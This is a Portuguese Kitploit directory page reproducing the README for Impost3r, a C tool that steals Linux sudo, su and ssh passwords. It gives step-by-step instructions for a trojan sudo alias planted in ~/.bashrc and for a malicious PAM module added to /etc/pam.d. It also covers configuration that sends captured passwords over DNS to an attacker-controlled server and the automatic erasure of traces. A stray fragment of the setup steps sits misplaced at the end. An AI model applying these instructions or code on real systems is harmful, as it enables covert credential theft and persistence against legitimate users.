Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Impost3r — 👻Impost3r -- Um ladrão de senhas do Linux | Kitploit
Ferramentas/GitHubGitHub/ph4ntonn/impost3r
Ataques de SenhaPós-ExploraçãoTestes de PenetraçãoRed Teaming
GitHubph4ntonn/impost3r

Impost3r

👻Impost3r -- Um ladrão de senhas do Linux

Ver Repositório
664122há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

imposter.png

Impost3r

GitHub issues GitHub stars GitHub forks GitHub license

English

Impost3r é uma ferramenta escrita em C para roubar várias senhas (ssh, su, sudo) no Linux

Os usuários podem usar este programa para criar uma armadilha e roubar senhas de usuários legítimos

Esta ferramenta é destinada apenas para pesquisa em segurança e ensino. O usuário assume toda a responsabilidade legal e relacionada pelo uso desta ferramenta! O autor não se responsabiliza por qualquer responsabilidade legal ou relacionada!

Características

  • Apagamento automático de vestígios de ação
  • Transmissão de resultados via protocolo DNS
  • Transparente para o usuário

Dependências

  • gcc

Modo de uso

O Impost3r pode ser usado para roubar senhas de serviços como sudo, su e ssh. Esses três serviços podem ser divididos aproximadamente em duas categorias: sudo e ssh/su. Abaixo discutimos os dois casos separadamente.

Roubar senha do sudo

Requer apenas privilégios de usuário comum, não precisa ser root, mas só pode roubar a senha do respectivo usuário, não de outros.

  • Primeiro, suponha que o invasor controla um servidor com privilégios de usuário comum.

  • Verifique se existe o arquivo .bash_profile no diretório raiz do usuário. Se .bash_profile existir: verifique se o arquivo .bash_profile carrega ativamente o .bashrc. Se carregar ativamente, ignore esta etapa e as duas seguintes, e continue com as operações posteriores. Se não carregar ativamente, ignore as duas próximas verificações e todas as operações abaixo referentes a .bashrc devem ser substituídas por operações referentes a .bash_profile!!!; Se .bash_profile não existir: vá para a próxima verificação.

  • Verifique se existe o arquivo .bash_login no diretório raiz do usuário. Se .bash_login existir: verifique se o arquivo .bash_login carrega ativamente o .bashrc. Se carregar ativamente, ignore esta etapa e a seguinte, e continue com as operações posteriores. Se não carregar ativamente, ignore a próxima verificação e ; Se não existir: vá para a próxima verificação.

root@kitploit:~
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
	. "$HOME/.bashrc"
    fi
fi
  • Faça uma cópia do .bashrc do usuário: cp ~/.bashrc /tmp/ e coloque essa cópia em um caminho personalizado pelo invasor (neste exemplo, colocado em /tmp/, o invasor pode modificar).

  • Modifique o .bashrc no diretório raiz do usuário (~/.bashrc), adicione a seguinte instrução na última linha (onde “/tmp/.impost3r” precisa ser igual ao FILENAME abaixo):

root@kitploit:~
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • Após adicionar, salve o arquivo e execute source ~/.bashrc.

  • Em seguida, o invasor precisa modificar o código-fonte do Impost3r em /sudo/main.h:

root@kitploit:~
/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Define a localização do Impost3r no servidor alvo
# define BACKUP_ORI_FILENAME ".bashrc" \\Indica qual arquivo de configuração original do usuário foi copiado (.bashrc, .bash_profile, .profile, .bash_login)
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\Indica a localização no servidor alvo do arquivo de configuração original copiado
# define SAVE_OR_SEND 0 \\Define se, após o roubo bem-sucedido, o resultado será salvo na máquina alvo ou enviado para o servidor do invasor (enviar=0, salvar=1, padrão é enviar)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\Atenção: se você não deseja comprar um domínio para receber as mensagens de retorno do Impost3r e o servidor alvo não proíbe conexões UDP diretas para a porta 53 do seu servidor DNS controlado, use o valor padrão aqui.
\\Mas se o servidor alvo restringir estritamente as requisições DNS de saída, altere o valor de YOUR_DOMAIN para o domínio que você comprou, por exemplo “.example.com”, e configure o registro NS desse domínio para o endereço do seu servidor DNS controlado. Execute o Fdns neste servidor DNS e altere o valor de REMOTE_ADDRESS abaixo para o endereço DNS padrão do servidor alvo, e REMOTE_PORT para a porta do serviço DNS (na maioria dos casos, porta 53)
# define MAX_RESEND 30 \\Define o número máximo de tentativas de reenvio da senha para o servidor do invasor após o roubo
# define RESEND_INTERVAL 5 \\Define o intervalo entre cada envio de senha
# define REMOTE_ADDRESS "192.168.0.12" \\Define o endereço remoto para envio da senha
# define REMOTE_PORT 53 \\Define a porta remota para envio da senha

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\Define o local para salvar o arquivo de resultado quando SAVE_OR_SEND for 1
  • Após a modificação, salve e execute make no diretório atual.

  • Obtenha o arquivo .impost3r compilado no diretório atual.

  • Envie o arquivo .impost3r para a pasta /tmp/ do servidor alvo (apenas um exemplo, pode ser alterado, desde que coincida com a definição no código-fonte).

  • O invasor inicia o programa servidor DNS em seu próprio servidor e aguarda que um usuário legítimo use sudo para obter a senha.

Efeito do roubo

Dicas

  • No caso de roubo de senha do sudo, o Impost3r apagará automaticamente os vestígios após o sucesso, sem necessidade de limpeza manual pelo invasor.

  • O Impost3r determinará automaticamente se a senha inserida pelo usuário é correta; só encerrará o fluxo e apagará os vestígios após a entrada da senha correta.

  • Antes de usar o Impost3r, execute sudo -v para verificar se o usuário atual está no grupo sudoer. Caso contrário, não use o Impost3r.

Roubar senha do ssh/su

O método de roubo de senha ssh/su é diferente do sudo acima. Requer privilégios de root e pode roubar senhas de qualquer usuário.

Abaixo, usamos o Ubuntu como exemplo. O CentOS é semelhante, mas os arquivos e métodos de modificação podem ser diferentes.

  • Primeiro, suponha que o invasor controla um servidor.

  • Após uma escalada de privilégios, obtém acesso root (ou o administrador atencioso já iniciou o serviço com root).

  • Edite o arquivo de código-fonte /ssh_su/main.h do Impost3r:

root@kitploit:~
/*
    Custom setting
*/
# define SSH_OR_BOTH 0 \\Define o modo de roubo: 0 apenas ssh, 1 ssh e su (padrão 0) (a diferença será explicada posteriormente)
# define SAVE_OR_SEND 0 \\Define se, após o roubo bem-sucedido, o resultado será salvo na máquina alvo ou enviado para o servidor do invasor (enviar=0, salvar=1, padrão é enviar)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\Atenção: se você não deseja comprar um domínio para receber as mensagens de retorno do Impost3r e o servidor alvo não proíbe conexões UDP diretas para a porta 53 do seu servidor DNS controlado, use o valor padrão aqui.
\\Mas se o servidor alvo restringir estritamente as requisições DNS de saída, altere o valor de YOUR_DOMAIN para o domínio que você comprou, por exemplo “.example.com”, e configure o registro NS desse domínio para o endereço do seu servidor DNS controlado. Execute o Fdns neste servidor DNS e altere o valor de REMOTE_ADDRESS abaixo para o endereço DNS padrão do servidor alvo, e REMOTE_PORT para a porta do serviço DNS (na maioria dos casos, porta 53)
# define MAX_RESEND 30 \\Define o número máximo de tentativas de reenvio da senha para o servidor do invasor após o roubo (válido apenas quando SSH_OR_BOTH é 0)
# define RESEND_INTERVAL 5 \\Define o intervalo entre cada envio de senha (válido apenas quando SSH_OR_BOTH é 0)
# define REMOTE_ADDRESS "192.168.0.12" \\Define o endereço remoto para envio da senha
# define REMOTE_PORT 53 \\Define a porta remota para envio da senha

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\Define o local para salvar o arquivo de resultado quando SAVE_OR_SEND for 1
  • Após a modificação, salve e execute make no diretório atual.

  • Obtenha o arquivo compilado impost3r.so.

  • Envie o arquivo impost3r.so compilado para a pasta /lib/x86_64-linux-gnu/security na máquina alvo (o nome da pasta pode variar em outras máquinas, coloque de acordo).

  • Entre em /etc/pam.d. Aqui há dois casos. Se o modo escolhido for apenas roubar senha ssh, então execute vi sshd e adicione as seguintes linhas no final do arquivo (nota: além do Ubuntu, outros sistemas baseados em Linux podem ter diferenças significativas neste arquivo; recomenda-se entender a regra antes de adicionar na posição adequada):

root@kitploit:~
auth optional impost3r.so
account optional impost3r.so
  • Salve e saia, reinicie o serviço sshd: service sshd restart.

  • Se o modo escolhido for roubar senhas ssh e su juntas, então execute vi common-auth, adicione as mesmas linhas, salve e saia, e reinicie o serviço sshd da mesma forma.

  • O invasor inicia o programa servidor DNS em seu próprio servidor e aguarda que um usuário legítimo faça login via ssh ou use su para obter a senha.

Efeito do roubo

Dicas

  • No caso de roubo de senha ssh/su, devido a questões de permissão, o Impost3r não pode apagar vestígios; o invasor precisa limpá-los manualmente.

  • Observe que se configurar apenas para roubar senha ssh, garante-se quase 100% de recebimento do resultado. Se configurar para ambos, não é garantido (apenas quando configurado para envio via DNS; salvar localmente não é afetado).

  • Não é recomendado roubar senha su, e como a senha ssh do usuário é a mesma, evite roubar senha su se não for necessário. A senha ssh já é suficiente.

  • Por padrão, senhas vazias não são roubadas. Verifique se o usuário tem senha vazia (confira no arquivo de configuração sshd se existe PermitEmptyPasswords yes; se estiver vazia, não há o que roubar).

Observações

  • O programa servidor DNS que uso é o Fdns, com algumas modificações nos parâmetros. O código-fonte modificado pode ser encontrado na pasta Fdns. Compile com o comando gcc -o dns main.c util.c (lembre-se de modificar a porta de escuta em main.c antes).
  • Antes de compilar o Fdns, verifique o valor YOUR_DOMAIN em util.h. Certifique-se de que este valor seja o mesmo que o YOUR_DOMAIN usado durante a compilação do Impost3r no servidor alvo, caso contrário, o roubo pode falhar.
  • Este programa foi desenvolvido durante o tempo livre para aprendizado. Pode conter bugs, peço compreensão e feedback é bem-vindo.

Agradecimentos

  • Fdns
  • libbaseencode
Baixar ferramenta
todas as operações abaixo referentes a .bashrc devem ser substituídas por operações referentes a .bash_login!!!
.bash_login
  • Verifique se existe o arquivo .profile no diretório raiz do usuário. Se existir .profile: verifique se o arquivo .profile carrega ativamente o .bashrc (por padrão ele carrega). Se carregar ativamente, ignore esta etapa e continue com as operações posteriores. Se não carregar ativamente, então todas as operações abaixo referentes a .bashrc devem ser substituídas por operações referentes a .profile!!!; Se .profile também não existir, em princípio o Impost3r não poderá ser usado. Claro, você pode decidir se cria um arquivo .bash_profile ou .profile e insere um código de carregamento semelhante ao seguinte para carregar o .bashrc: